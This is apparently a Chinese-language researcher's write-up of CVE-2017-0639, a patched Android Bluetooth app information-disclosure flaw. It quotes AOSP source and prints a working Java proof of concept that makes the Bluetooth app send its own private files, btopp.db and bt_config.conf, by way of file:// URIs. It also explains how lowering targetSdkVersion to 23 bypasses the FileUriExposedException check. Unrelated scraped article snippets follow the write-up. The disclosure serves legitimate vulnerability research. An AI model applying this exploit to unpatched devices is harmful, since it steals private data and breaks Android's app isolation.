蓝牙App漏洞系列分析之二CVE-2017-0639

0x01 漏洞简介

Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有的私有文件,绕过了将应用数据与其他应用隔离的操作系统防护功能。

漏洞信息如下:

  • CVE: CVE-2017-0639
  • BugID: A-35310991
  • 严重性: 高危
  • 漏洞类型: 信息泄露
  • Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2

0x02 漏洞缘起

在发现这个漏洞之前,我浏览了 Android 2017年2月的安全公告,其中两个并排的高危信息泄露漏洞引起了我的注意:

  • CVE-2017-0420: AOSP邮件中的信息泄露漏洞
  • CVE-2017-0414: AOSP短信中的信息泄露漏洞

查看这两个信息漏洞的补丁注释,分别为

  • Don't allow file attachment from /data through GET_CONTENT
  • Thirdparty can attach private files from "/data/data/com.android.messaging/" directory to the messaging app。

涵义非常清晰,似乎邮件和短信 App 均遗漏了对发送的文件进行验证,本地攻击者可以添加 App 私有目录的数据文件发送出去,从而破坏了 Android 沙箱所提供的应用数据相互隔离的安全防护功能。

这两个漏洞可以归纳为一类针对具有对外发送或共享功能App的攻击,Android中会不会还有类似的功能具有类似的漏洞?另外,注意到上述两个漏洞的发现者并非一人,只是巧合地同时出现在2月份的安全公告之中,发现者似乎还没有意识到这类攻击的通用性,也许真的还没有搜刮干净?

0x03 攻击面——蓝牙的信息分享

除了短信、邮件,很容易想到蓝牙也是 Android 一个很重要的信息对外发送出口。通常,我们选择一个文件的分享按钮,选择蓝牙,就可以触发蓝牙的文件发送功能,这是通过蓝牙 App 暴露的 BluetoothOppLauncherActivity 所实现。该 Activity 根据传入的 Intent.ACTION_SEND 或 Intent.ACTION_SEND_MULTIPLE ,启动一个线程处理单个文件或多个文件的对外发送。主要代码如下

           /*
* Other application is trying to share a file via Bluetooth,
* probably Pictures, videos, or vCards. The Intent should contain
* an EXTRA_STREAM with the data to attach.
*/
if (action.equals(Intent.ACTION_SEND)) {
// TODO: handle type == null case
final String type = intent.getType();
final Uri stream = (Uri)intent.getParcelableExtra(Intent.EXTRA_STREAM);
CharSequence extra_text = intent.getCharSequenceExtra(Intent.EXTRA_TEXT);
// If we get ACTION_SEND intent with EXTRA_STREAM, we'll use the
// uri data;
// If we get ACTION_SEND intent without EXTRA_STREAM, but with
// EXTRA_TEXT, we will try send this TEXT out; Currently in
// Browser, share one link goes to this case;
if (stream != null && type != null) {
if (V) Log.v(TAG, "Get ACTION_SEND intent: Uri = " + stream + "; mimetype = "
+ type);
// Save type/stream, will be used when adding transfer
// session to DB.
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(type,stream.toString(), false);
//Done getting file info..Launch device picker and finish this activity
launchDevicePicker();
finish();
}
});
t.start();
return;
} else {
Log.w(TAG,"Error trying to do set text...File not created!");
finish();
return;
}
} else {
Log.e(TAG, "type is null; or sending file URI is null");
finish();
return;
}
} else if (action.equals(Intent.ACTION_SEND_MULTIPLE)) {
final String mimeType = intent.getType();
final ArrayList<Uri> uris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM);
if (mimeType != null && uris != null) {
if (V) Log.v(TAG, "Get ACTION_SHARE_MULTIPLE intent: uris " + uris + "\n Type= "
+ mimeType);
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(mimeType,uris, false);
//Done getting file info..Launch device picker
//and finish this activity
launchDevicePicker();
finish();
}
});
t.start();

那么,传入蓝牙 App 私有数据试试!先寻找 bluetooth 所拥有的私有文件,

angler:/ # find /data -user bluetooth -exec ls -al {} \; 2>  /dev/null

可以选定两个bluetooth所拥有、有实质内容的文件作为发送对象,file:///data/user_de/0/com.android.bluetooth/databases/btopp.dbfile:///data/misc/bluedroid/bt_config.conf

很快可以写出PoC

public class MainActivity extends AppCompatActivity {
Button m_btnSendPriv = null;
Button m_btnSendMPriv = null;
private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db";
private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf"; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); m_btnSendPriv = (Button)findViewById(R.id.send_private);
m_btnSendPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setType("text/plain");
Uri uri = Uri.parse(PRIV_FILE_URI1);
intent.putExtra(Intent.EXTRA_STREAM, uri);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
}); m_btnSendMPriv = (Button)findViewById(R.id.send_private_multiple);
m_btnSendMPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
intent.setType("text/plain");
ArrayList<Uri> uris = new ArrayList<Uri>();
uris.add(Uri.parse(PRIV_FILE_URI1));
uris.add(Uri.parse(PRIV_FILE_URI2));
intent.putExtra(Intent.EXTRA_STREAM, uris);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent); }
});
}
}

0x04 进一步分析

真的那么简单吗?编译PoC,运行却抛出了安全异常!

--------- beginning of crash
06-12 10:32:43.930 16171 16171 E AndroidRuntime: FATAL EXCEPTION: main
06-12 10:32:43.930 16171 16171 E AndroidRuntime: Process: ms509.com.testaospbluetoothopplauncher, PID: 16171
06-12 10:32:43.930 16171 16171 E AndroidRuntime: android.os.FileUriExposedException: file:///data/user_de/0/com.android.bluetooth/databases/btopp.db exposed beyond app through ClipData.Item.getUri()
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.os.StrictMode.onFileUriExposed(StrictMode.java:1799)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.net.Uri.checkFileUriExposed(Uri.java:2346)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.ClipData.prepareToLeaveProcess(ClipData.java:832)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8909)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8894)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Instrumentation.execStartActivity(Instrumentation.java:1517)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4224)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.BaseFragmentActivityJB.startActivityForResult(BaseFragmentActivityJB.java:50)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:79)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4183)

原来触发了 FileUriExposed 错误,出于安全考虑,Android SDK 23 以上就不能在 Intent 中传递 file:// Uri ,见官方说明:

对于面向 Android 7.0 的应用,Android 框架执行的 StrictMode API 政策禁止在您的应用外部公开 file:// URI 。如果一项包含文件 URI 的 intent 离开您的应用,则应用出现故障,并出现 FileUriExposedException 异常。要在应用间共享文件,您应发送一项 content:// URI,并授予 URI 临时访问权限。进行此授权的最简单方式是使用 FileProvider 类。

似乎宣判了死刑!心有不甘,继续分析 BluetoothOppLauncherActivity 后面的文件处理流程,调用链为 saveSendingFileInfo--> generateFileInfo ,查看 generateFileInfo 函数,我们发现其实是支持传入 file:// URI 的。

    public static BluetoothOppSendFileInfo generateFileInfo(Context context, Uri uri,
String type) {
ContentResolver contentResolver = context.getContentResolver();
String scheme = uri.getScheme();
String fileName = null;
String contentType;
long length = 0;
// Support all Uri with "content" scheme
// This will allow more 3rd party applications to share files via
// bluetooth
if ("content".equals(scheme)) {
contentType = contentResolver.getType(uri);
Cursor metadataCursor;
try {
metadataCursor = contentResolver.query(uri, new String[] {
OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
}, null, null, null);
} catch (SQLiteException e) {
// some content providers don't support the DISPLAY_NAME or SIZE columns
metadataCursor = null;
} catch (SecurityException e) {
Log.e(TAG, "generateFileInfo: Permission error, could not access URI: " + uri);
return SEND_FILE_INFO_ERROR;
} if (metadataCursor != null) {
try {
if (metadataCursor.moveToFirst()) {
fileName = metadataCursor.getString(
metadataCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME));
length = metadataCursor.getLong(
metadataCursor.getColumnIndex(OpenableColumns.SIZE));
if (D) Log.d(TAG, "fileName = " + fileName + " length = " + length);
}
} finally {
metadataCursor.close();
}
}
if (fileName == null) {
// use last segment of URI if DISPLAY_NAME query fails
fileName = uri.getLastPathSegment();
}
} else if ("file".equals(scheme)) { // Notice!!!
fileName = uri.getLastPathSegment();
contentType = type;
File f = new File(uri.getPath());
length = f.length();
} else {
// currently don't accept other scheme
return SEND_FILE_INFO_ERROR;

进一步查阅相关资料发现,原来 FileUriExposed 错误只是 SDK 引入的一项安全机制,仅仅是为了防止 Intent 的接收方访问发起方的私有文件。但是在我们这种攻击场景下,我们是要 Intent 的接收方 BluetoothOppLauncherActivity 访问其自己的私有文件,而且查看上述代码,蓝牙 App 既有对 file:// URI 的支持,也缺乏对文件是否属于私有目录的验证,Why not?

既然是 SDK 23 以后引入的安全机制,那么我们把 build.gradle 中的 targetSdkVersion 从原先的25改为23,从而绕过 SDK 的检查,重新编译运行,就可以将 Bluetooth App 的私有文件通过蓝牙发送出去,而这些文件原本连用户均无法获取,这就打破了 Android 沙箱的应用间数据隔离机制。至此,大功告成!

0x05 时间线

  • 2017.02.13: 提交Google
  • 2017.03.01: 漏洞确认,初始评级为高
  • 2017.06.05: 补丁发布
  • 2017.06.12: 漏洞公开

蓝牙App漏洞系列分析之二CVE-2017-0639的更多相关文章

  1. 蓝牙App漏洞系列分析之一CVE-2017-0601

    蓝牙App漏洞系列分析之一CVE-2017-0601 0x01 概要 2017年5月的 Android 安全公告修复了我们提交的一个蓝牙提权中危漏洞,这个漏洞尽管简单,但比较有意思,能够使本地恶意 A ...

  2. 蓝牙App漏洞系列分析之三CVE-2017-0645

    蓝牙App漏洞系列分析之三CVE-2017-0645 0x01 漏洞简介 Android 6月的安全公告,同时还修复了我们发现的一个蓝牙 App 提权中危漏洞,该漏洞允许手机本地无权限的恶意程序构造一 ...

  3. nova创建虚拟机源码系列分析之二 wsgi模型

    openstack nova启动时首先通过命令行或者dashborad填写创建信息,然后通过restful api的方式调用openstack服务去创建虚拟机.数据信息从客户端到达openstack服 ...

  4. 一步步实现windows版ijkplayer系列文章之二——Ijkplayer播放器源码分析之音视频输出——视频篇

    一步步实现windows版ijkplayer系列文章之一--Windows10平台编译ffmpeg 4.0.2,生成ffplay 一步步实现windows版ijkplayer系列文章之二--Ijkpl ...

  5. linux驱动由浅入深系列:高通sensor架构实例分析之二(驱动代码结构)【转】

    本文转载自:https://blog.csdn.net/radianceblau/article/details/73498303 本系列导航: linux驱动由浅入深系列:高通sensor架构实例分 ...

  6. Hybrid APP基础篇(二)->Native、Hybrid、React Native、Web App方案的分析比较

    说明 Native.Hybrid.React.Web App方案的分析比较 目录 前言 参考来源 前置技术要求 楔子 几种APP开发模式 概述 Native App Web App Hybrid Ap ...

  7. Struts2 漏洞系列之S2-001分析

    0x00 前言   最近在学习java的相关漏洞,所以Struts2的漏洞自然是绕不开的.为了更好的理解漏洞原理,计划把Struts2所有的漏洞自己都做一个复现.并且自己去实现相关的POC.相关的环境 ...

  8. 移动APP漏洞自动化检测平台建设

    移动APP漏洞自动化检测平台建设   前言:本文是<移动APP客户端安全笔记>系列原创文章中的第一篇,主要讲的是企业移动APP自动化漏洞检测平台建设,移动APP漏洞检测发展史与前沿技术,A ...

  9. APP漏洞扫描用地址空间随机化

    APP漏洞扫描用地址空间随机化 前言 我们在前文<APP漏洞扫描器之本地拒绝服务检测详解>了解到阿里聚安全漏洞扫描器有一项静态分析加动态模糊测试的方法来检测的功能,并详细的介绍了它在针对本 ...

随机推荐

  1. vim在文件末尾增加内容

    1.跳到文本的最后一行:按“G”,即“shift+g” 2.跳到最后一行的最后一个字符 : 先重复1的操作即按“G”,之后按“$”键,即“shift+4”.3  o:在当前行下面插入一个新行O:在当前 ...

  2. Data - 大数据分析学习之路

    一.大数据分析的五个基本方面 可视化分析 大数据分析的使用者有大数据分析专家,同时还有普通用户,但是他们二者对于大数据分析最基本的要求就是可视化分析,因为可视化分析能够直观的呈现大数据特点,同时能够非 ...

  3. Spark读取HDFS中的Zip文件

    1. 任务背景 近日有个项目任务,要求读取压缩在Zip中的百科HTML文件,经分析发现,提供的Zip文件有如下特点(=>指代对应解决方案): (1) 压缩为分卷文件 => 只需将解压缩在同 ...

  4. ASP.NET Core 入门笔记9,ASP.NET Core + Entity Framework Core 数据访问入门

    一.前言 1.本教程主要内容 ASP.NET Core MVC 集成 EF Core 介绍&操作步骤 ASP.NET Core MVC 使用 EF Core + Linq to Entity ...

  5. 鸟哥私房菜基础篇:磁碟配额(Quota)与进阶文件系统管理习题

    猫宁!!! 参考:http://cn.linux.vbird.org/linux_basic/0420quota.php 1-在前一章的第一个大量新增帐号范例中, 如果我想要让每个用户均具有 soft ...

  6. Python os 使用

    python os 使用 1. 获取文件所在路径 import os os.path.dirname(__file__)  获取当前文件的所在路径 print (os.path.dirname(os. ...

  7. (转)window.XMLHttpRequest详解(AJAX工作原理)

    转自:http://l.xbest.blog.163.com/blog/static/8640444120100225516963/?fromdm&fromSearch&isFromS ...

  8. SpringCloud学习(三)服务消费者(Feign)(Finchley版本)

    上一篇文章,讲述了如何通过RestTemplate+Ribbon去消费服务,这篇文章主要讲述如何通过Feign去消费服务. Feign简介 Feign是一个声明式的伪Http客户端,它使得写Http客 ...

  9. Prometheus + Grafana 监控 Redis

    Prometheus安装 .linux-amd64.tar.gz .linux-amd64. cd /prometheus # Start Prometheus. # By default, Prom ...

  10. pynput模块—键盘鼠标操作和监听

    pynput.mouse:包含控制和监控鼠标或者触摸板的类. pynput.keyboard:包含控制和监控键盘的类. 上面提到的子包都已被引入到pynput库中.要使用上面的子包,从pynput中引 ...